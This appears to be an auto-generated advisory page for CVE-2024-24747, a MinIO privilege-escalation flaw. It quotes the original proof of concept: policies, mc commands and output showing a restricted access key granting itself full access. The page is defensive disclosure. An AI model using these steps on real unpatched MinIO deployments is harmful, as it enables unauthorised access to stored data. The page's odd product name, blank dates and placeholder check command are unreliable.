CVE-2024-24747: Minio unsafe default Access Keys Inherit `admin` Of Vulnerability

HIGH
Advisory Identifier: GHSA-xx8w-mq23-29g4
CVSS 8.8
CWE-269
Published
Advisory Summary

CVE-2024-24747 is a HIGH (CVSS 8.8) access keys inherit `admin` of vulnerability (CWE-269: Improper Privilege Management) affecting Minio unsafe default libraries in the Go ecosystem. The issue involves access keys inherit `admin` of root user, allowing privilege escalation. Remediation is available by upgrading affected packages to version 0.0.0-20240131185645-0ae4915a9391.

CVE-2024-24747 at a Glance

CVE Identifier CVE-2024-24747
GHSA Identifier GHSA-xx8w-mq23-29g4
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-269: Improper Privilege Management
Affected Product Minio unsafe default
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2024-24747

To remediate this vulnerability, upgrade all affected Minio unsafe default dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/minio/minio fixed: 0.0.0-20240131185645-0ae4915a9391
Upgrade github.com/minio/minio to 0.0.0-20240131185645-0ae4915a9391
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/minio/minio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-24747, inspect your project dependencies for Minio unsafe default:

inspect dependencies for github.com/minio/minio

Analyze the terminal output to locate any version of Minio unsafe default in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20240131185645-0ae4915a9391), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-269: Improper Privilege Management, where the product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. In Minio unsafe default, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. Credit to @xSke for sort of accidentally discovering this. I only understood the implications. ### Details / PoC We spun up the latest version of minio in a docker container and signed in to the admin UI using the minio root user. We created two buckets, `public` and `private` and created an access key called `mycat` and attached the following policy to only allow access to the bucket called `public`. ```json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:*" ], "Resource": [ "arn:aws:s3:::public", "arn:aws:s3:::public/*" ] } ] } ``` We then set an alias in mc: `mcli alias set vuln http://localhost:9001 mycat mycatiscute` And checked whether policy works: ``` A ~/c/minio-vuln mcli ls vuln [0001-01-01 00:53:28 LMT] 0B public/ ``` Looks good, we believe this is how 99% of users will work with access policies. If I now create a file `full-access-policy.json`: ```json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:*" ], "Resource": [ "arn:aws:s3:::*" ] } ] } ``` And then: ```sh A ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat Edited service account `mycat` successfully. ``` `mycat` has escalated its privileges to get access to the entire deployment: ```sh A ~/c/minio-vuln mcli ls vuln [0001-01-01 00:53:28 LMT] 0B private/ [0001-01-01 00:53:28 LMT] 0B public/ ``` ### Impact A trivial privilege escalation unless the operator fully understands that they need to explicitly deny `admin` actions on access keys. ### Patched ``` commit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -> master, origin/master) Author: Aditya Manthramurthy <donatello@users.noreply.github.com> Date: Wed Jan 31 10:56:45 2024 -0800 fix: permission checks for editing access keys (#18928) With this change, only a user with `UpdateServiceAccountAdminAction` permission is able to edit access keys. We would like to let a user edit their own access keys, however the feature needs to be re-designed for better security and integration with external systems like AD/LDAP and OpenID. This change prevents privilege escalation via service accounts. ```

CVE-2024-24747 Affected Minio unsafe default Versions

1 component(s)
Fixed Versions:
0.0.0-20240131185645-0ae4915a9391
Product / Package Ecosystem Affected Versions Fixed Version
github.com/minio/minio
Go
< 0.0.0-20240131185645-0ae4915a9391
0.0.0-20240131185645-0ae4915a9391

References

Frequently Asked Questions

What is CVE-2024-24747?
CVE-2024-24747 is a security vulnerability in Minio unsafe default involving Access keys inherit `admin` of root user, allowing privilege escalation under CWE-269: Improper Privilege Management.
Which Minio unsafe default versions are affected?
Affected versions include releases prior to 0.0.0-20240131185645-0ae4915a9391 across affected packages: github.com/minio/minio.
What version fixes CVE-2024-24747?
Upgrading to 0.0.0-20240131185645-0ae4915a9391 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/minio/minio affected?
Yes, github.com/minio/minio is affected in releases prior to 0.0.0-20240131185645-0ae4915a9391. Upgrade your dependency to 0.0.0-20240131185645-0ae4915a9391 or later.
What is the CVSS score of CVE-2024-24747?
CVE-2024-24747 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2024-24747?
CVE-2024-24747 is classified under CWE-269: Improper Privilege Management (The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.).
How can I check Go dependencies for CVE-2024-24747?
Run the dependency tree command: 'inspect dependencies for github.com/minio/minio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xx8w-mq23-29g4",
  "modified" : "2024-02-01T22:52:18Z",
  "published" : "2024-02-01T19:21:30Z",
  "aliases" : [ "CVE-2024-24747" ],
  "summary" : "Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation",
  "details" : "### Summary\nWhen someone creates an access key, it inherits the permissions of the parent key. Not only for \n`s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the \naccess-key hierarchy, the `admin` rights are denied, access keys will be able to simply \noverride their own `s3` permissions to something more permissive.\n\nCredit to @xSke for sort of accidentally discovering this. I only understood the implications.\n\n### Details / PoC\nWe spun up the latest version of minio in a docker container and signed in to the admin UI \nusing the minio root user. We created two buckets, `public` and `private` and created an \naccess key called `mycat` and attached the following policy to only allow access to the \nbucket called `public`.\n\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n  {\n   \"Effect\": \"Allow\",\n   \"Action\": [\n    \"s3:*\"\n   ],\n   \"Resource\": [\n    \"arn:aws:s3:::public\",\n    \"arn:aws:s3:::public/*\"\n   ]\n  }\n ]\n}\n```\nWe then set an alias in mc:  `mcli alias set vuln http://localhost:9001 mycat mycatiscute` \n\nAnd checked whether policy works:\n```\nA ~/c/minio-vuln mcli ls vuln\n[0001-01-01 00:53:28 LMT]     0B public/\n```\nLooks good, we believe this is how 99% of users will work with access policies.\n\nIf I now create a file `full-access-policy.json`:\n```json\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": [\n        \"s3:*\"\n      ],\n      \"Resource\": [\n        \"arn:aws:s3:::*\"\n      ]\n    }\n  ]\n}\n```\nAnd then:\n\n```sh\nA ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat\nEdited service account `mycat` successfully.\n```\n`mycat` has escalated its privileges to get access to the entire deployment: \n```sh\nA ~/c/minio-vuln mcli ls vuln\n[0001-01-01 00:53:28 LMT]     0B private/\n[0001-01-01 00:53:28 LMT]     0B public/\n```\n\n### Impact\nA trivial privilege escalation unless the operator fully understands that they need to \nexplicitly deny `admin` actions on access keys. \n\n### Patched\n\n```\ncommit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -> master, origin/master)\nAuthor: Aditya Manthramurthy <donatello@users.noreply.github.com>\nDate:   Wed Jan 31 10:56:45 2024 -0800\n\n    fix: permission checks for editing access keys (#18928)\n    \n    With this change, only a user with `UpdateServiceAccountAdminAction`\n    permission is able to edit access keys.\n    \n    We would like to let a user edit their own access keys, however the\n    feature needs to be re-designed for better security and integration with\n    external systems like AD/LDAP and OpenID.\n    \n    This change prevents privilege escalation via service accounts.\n```\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/minio/minio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20240131185645-0ae4915a9391"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/minio/minio/security/advisories/GHSA-xx8w-mq23-29g4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-24747"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/minio/minio/commit/0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/minio/minio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/minio/minio/releases/tag/RELEASE.2024-01-31T20-20-33Z"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-269" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-02-01T19:21:30Z",
    "nvd_published_at" : "2024-01-31T22:15:54Z"
  }
}